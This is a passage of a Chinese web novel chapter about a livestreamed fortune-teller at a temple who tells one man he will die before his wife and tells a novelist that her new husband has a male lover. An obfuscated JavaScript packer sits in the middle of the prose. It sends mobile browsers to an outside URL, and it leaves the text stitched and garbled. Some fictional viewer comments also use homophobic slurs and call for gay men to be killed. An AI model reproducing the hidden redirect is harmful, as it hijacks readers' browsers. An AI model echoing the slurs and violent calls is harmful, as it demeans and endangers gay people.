就像之前给杨智慧观缘,她能清楚知道对面女孩可以平安终老,并隐约感受出是衣食无忧之人,却说不出财富究竟几何。 所以眼下,在观察过朱明志缘线后,莺芝也没有直接拒绝,而是应下了这个请求。 朱明志大喜。 “能就行,他们都说您很准,我相信您——那,那、那请您帮我算算!” 莺芝点了点头,阖上了眼。 众人瞩目中,她看向对方,笑容轻和:“从你的缘线看,你的妻她寿数尚且可观,即使身体孱弱,却未有得患影响寿命的疾病。” 朱明志肉眼可见地松了神经,长长地出了一口气。 “那就好……那就好……”他喃喃。 莺芝话却还没说完,她话音一转,又微微顿住:“可我观你缘线,虽然你二人琴瑟和鸣,为天定之缘,但——” 朱明志又一次紧绷起来:“……什么?” 莺芝笑容微敛,道:“你寿数比她短。”且短很多。 朱明志愣住。 他的寿命短…… 那不就是说,他会走在她的前边? 理解了莺芝的这一番话,他突然有些茫然。 随之而来的,是无尽的恐慌和担忧。 “那,那我走了之后——谁来照顾她?她的寿命会因为这个受到影响吗?” 没人想得到,得知自己会先死之后,朱明志的反应竟然是这个。 袁胜有些疑惑:“你们生个孩子不就行了?你走了之后孩子照顾她啊。” 朱明志愣愣摇头:“不行……她身体差,生孩子会吃她的寿命,不能生,我不要孩子……” 袁胜:“……” 你在送子娘娘庙说这些是不是不太合适? 但是,这句话到最后也只是腹诽,没能出口。 他看得出,也了解朱明志,知道他是说的真心话。 莺芝叹息:“她会好好活到最后。” 听闻词句,朱明志闭上了眼,长长地呆坐了一会儿。 再次感谢莺芝后,他没有再停留,带上红绳匆匆踏上了返程的路。 他的妻在家里看直播,一定已经知道了这个消息,他得快些回去陪她。 目送朱明志离开,莺芝和所有人一样,都有些感慨,随即,她的目光移向了对面——在场的最后一人。 孟书越眼角有点红,可能是被刚刚朱明志的事感动,还没从那情绪中出来。 见所有人都看向了自己,她理了理鬓发,走上前去。 世间确有真情,又何尝不是一种因果。 她也要直视了。 写下自己的信息,孟书越脊背微微挺直,嗓音温柔中带着一些释然: “我要问……我和我的新婚丈夫,能不能白头偕老。” 31. 第 31 章 “——我和我的新婚丈夫很是恩爱,我想知道,我们能不能白头偕老。” 孟书越温温柔柔地问着,神情和声音一样,拥有着湖水清溪般的柔顺缱绻,只是,在无人能看到的桌下,她的手却已经绞紧了长裙的布料。 毫无疑问,她很紧张。 而是是紧张得要死。 但不管怎样,既然已经做了决定,那么就算再紧张也要继续进行下去,箭在弦上,不得不发。 而她之所以要这样问,也有着自己的思量。 能不能白头偕老—— 若得到的结果是“能”,就证明她所想所做、所隐瞒所不发的那些事,对她的这段婚姻并不能产生什么影响,她的丈夫和安哥也都会在她生命里保持现有的样子和状态,直到最后,这自然皆大欢喜,她原本也就打算好好和对方过日子的,自此之后,和对方的这段关系将是她生活中除了写作以外最重要的部分; 若得到的结果是“不能”,那也很明了,她的错误会对这段婚姻造成不可忽视的影响、甚至导致婚姻关系的破裂…… 如果是后边那个情况,那么她就会站出来,承认自己的错误,向她的丈夫和安哥道歉,向两个家庭道歉,也好及时止住这段关系、断开这段关系,为双方的家庭止住未来可能产生的更多的损害。 该说不愧是靠文字工作吃饭的,孟书越看着柔顺如一朵小白花,实际上心中却是把这些文字之下的弯绕理得很清楚。 话一出口,她没有就此“迈出第一步”后松了一口气的感觉,反而坐得更加端正,肩背挺直,完全没有一丝一毫垮下去的趋势,就好像有一股无形的力在支撑托举着她,要她聚精会神地等待着那个审判一般的结果。 孟书越看着,看着面前这位相处了有好几天、无论脾气还是性格都相当认真的华服女孩。 她看着对方扫过纸张上的信息,看着对方仿佛无意般扫过来的一眼,看着对方闭上眼,看着对方掐算,然后——抬眼望来。 那双眼睛虽有弧度,其中却没有什么感情,就好像被一张虚假的面具所遮盖—— 她是知道自己的事情的,那么,她这样的表情,是因为瞧不起自己吗?还是……结果并不如人意? 孟书越心脏狠狠揪起。 她唇瓣稍稍嗫嚅了几许,声音轻得随时都会淹没在周围一迭盖过一迭的人声中: “……算出来了吗?” 莺芝略略一颔首:“自然。” 孟书越手指攥紧,身体无意识往前稍倾了一些:“那……” 这两人的对话声音实在太小,充当摄影师的袁胜此时也被弹幕催得有点头大。 ——大家都想更清楚更近距离地围观书越关山的这一卦。 不说有没有瓜可以吃吧,最起码这也是个难得的,可以这样接触书越关山的机会不是? 而且更值得一提的是,还是和小莺一起。 两大明明可以靠外表吃饭、却偏要靠才华行走所在领域的代表人物,这是她们的史诗级会晤啊! 袁胜被弹幕催得无奈,只能连忙端着手机又往前凑近了一点,以求能够更加清晰地捕捉到两位优秀女性的交谈。 他刚端着手机把镜头靠近,莺芝放大了一些的声音便被收入了直播间中。 “白头偕老……你愿意的话,那倒是可以。” 孟书越眼睛猛地亮起,声音都有些发颤的漂浮。 “……真的吗?” 莺芝是知道她所做的事情的,莺芝是知道她的情况的,莺芝还是一个被很多人说算卦飞常准的能人,现在,莺芝说——可以。 她可以和她的丈夫白头偕老! 因为有着预先已经完全成型的“走向方案”,这会儿,短短片刻时间,孟书越就彻底消化了莺芝的话。 一瞬间,充盈的神采仿佛让她内敛的气质都炫目了几分。 她下意识转过头,视线越过重重人头,落到另一端,那个靠柱而立的人影身上。 袁胜见状,连忙也把镜头移动,转向了孟书越看着的方向。 段庆之抱臂站着,因为距离不算近的原因,表情有些不太分明,见孟书越看过来,他抬起手朝她挥了挥,有来有往的,恰到好处给予着回应。 【这就是书越关山的老公?看着还行吧,勉勉强强说得过去】 【这在现实中已经很帅了好吗!说人家勉勉强强的手边有镜子没,看看自己啥样呢?】 【好吧,他挺帅的,感觉也很会收拾自己,和关山大大郎才女貌诶】 【啊啊啊这就是事事有回应吗,我磕了!】 【他旁边那个小哥哥也好帅啊,这年头帅哥都扎堆出现?我怎么就一个也遇不到呢】 【小莺都说这对能白头到老了,这门婚事我允许了!】 …… 【我觉得你们还是别那么早下定论吧,小莺的语气完全不是那么回事吧】 【小莺不是一直都公事公办的态度吗,怎么就不是那么回事了,哪回事啊?】 孟书越没有在直播间,也看不到弹幕,根本无从得知观众们以及她书粉们的想法,但于她而言,此时其他人作何感想,也并不重要。 她万万没想到,这样卑劣的自己,竟然还能得到一段可以共度一生的婚姻。 她的丈夫对她事事依从,无微不至,她却自始至终都抱着别样的心思,这岂止是对不起他啊,但他竟仍然可以和她共度一生—— 万种心情涌上心头,喜悦、愧疚、自惭形秽……孟书越眼眶发涩,鼻尖也酸,复杂的情绪一时乱作一团,根本理不清楚。 她回过头来,看向莺芝,组织措辞准备道谢。 却见莺芝似乎还有话没有说完,向来只是礼貌微笑的脸上竟显出几分迟疑之色。 孟书越一愣。 莺芝斟酌了片刻,缓缓开口,续上了刚刚的话: “只是……” 只是——当这两个字紧紧跟在一件好事之后出现时,它的分量,和“但是”简直有得一拼。 孟书越刚刚落回去的心脏被这两个字一激,又一次高高吊了起来: “……只是?” 莺芝似乎还在考虑措辞,直播间里的观众们以及现场的围观群众们也都是大大竖起了耳朵。 都能一起白头到老了,还能有什么波折和转折? “你的要求只是白头偕老的话,那只要你愿意,是完全没有问题的。” 莺芝又重复了一遍先前的结果,孟书越隐隐察觉到了一些不对:“什么叫做,我愿意……就可以?” “因为这段关系能否继续下去,全在你于的想法和态度。” 莺芝道,“但我想,在做出决定之前,有件事你要知道。” 她说得认真正经,孟书越心脏猛地漏跳了一拍: “……什么事?” 莺芝的语气淡然中又夹带了几许的感慨,她目露怜悯,看着如同站在悬崖边上,等待最终宣判的孟书越: “你的丈夫,他有契兄弟。” ……契兄弟? 这个对于当代人来说几乎是有些陌生的词汇突然出现在这里,让孟书越这个本该对它很是熟悉的作者都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267267|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些茫然。 她清秀的面庞上露出明显的疑惑,显然正在处理这一信息。 现场的人们不怎么能听清她们的话,基本上是靠前排人员听到后的人传人来传递信息,所以一时间倒也还算是安静。 直播间里,弹幕区,此刻却如同冰块投入沸水,无比热闹地轰然炸开。 【???】 【我擦?是我想的那个意思吗??】 【同妻????】 【我的爹哎……真的假的啊,不能吧?!】 【对不起,我收回这男的还不错的话,这要是真的,这就是个人渣啊!!】 …… 孟书越到底是靠文字吃饭的,相关的内容,她本就不陌生,这会儿也渐渐回过味来,脸却一点点地白了。 契兄弟—— 原意应当是指结拜兄弟,只是随着时代的变迁,现在的它,已经基本能够和现代人口中的“男同性恋”划上等号了。 在明朝年间,就有“习尚成俗”的契兄契弟习惯,那时候男同风十分流行,契兄弟这个词也就基本已经成为了男同性恋的专属代表词汇。 而现在,莺芝说,孟书越的丈夫——有契兄弟。 【我说呢,那男的看着人模狗样的,原来是个给子?】 【gay还来跟女孩结婚,要不要脸啊???】 【看书越关山这样子,她结婚的时候应该也不知道吧?真是活久见了,我以为骗婚男这年头都已经死绝了呢】 【……说实在的,男同现在的风评越来越差真的是不能怪别人,你说你喜欢同姓就喜欢同姓呗,非要跟人女的结什么婚?那么想结婚就出国去啊】 【连关山大大这种有一定知名度的人都能被同妻……没被大家看到的地方还有多少这种事简直不敢想】 【不反对所有性取向,可是为什么要骗婚?】 【两方都知道的形婚还不是最可怕的,最可怕是双插头,脏死了。】 …… 【晚间生物:呃,小莺的这个意思,还有契兄弟……是说她的老公还没跟那男的断关系?】 【骂谁二次元呢:这个我真吃不下,虽然我看bl文,但三次元的男的尤其是给子能不能滚远点,尊重你们的性取向,但是你们离女生远点可以吗??】 【我真没有QAQ:她不是第一次在主播的直播间出现,我记得之前是不是有介绍过,说他们夫妻是到庙里做义工的?】 【我真没有QAQ:没记错的话,主播之前也说过,这是一间求子的庙宇吧】 【我真没有QAQ:她说她们是新婚夫妻,新婚夫妻结婚不久就来这里,目的应该也很明确了】 【晚间生物:……】 【你到底说不说:……】 【给予她温油ma:是求子的庙】 【骂谁二次元呢:合着这死给子骗婚让人家做同妻,是想留个种啊?好恶心,感觉我未来一段时间看文都要有点生理性反胃了】 【一只浪迹瓜田的猹:……你们别说了,我真的要把隔夜饭都吐出来了,死给子没有呼吸权利,绞杀!统统绞杀!】 …… 打结的大脑醒过神来,孟书越有些不可置信。 她似乎是下意识地想要继续提出疑问,或反驳莺芝、或向莺芝再度求证——但不知道想到了什么,她脸色越来越难看、人也越来越沉默。 如同被风雨打湿的花,本来坚韧顽强的纤细枝茎,就那样一点一点地,完全垂败了下去。 那些几欲出口的话语,最终,也没有吐露出一个音节。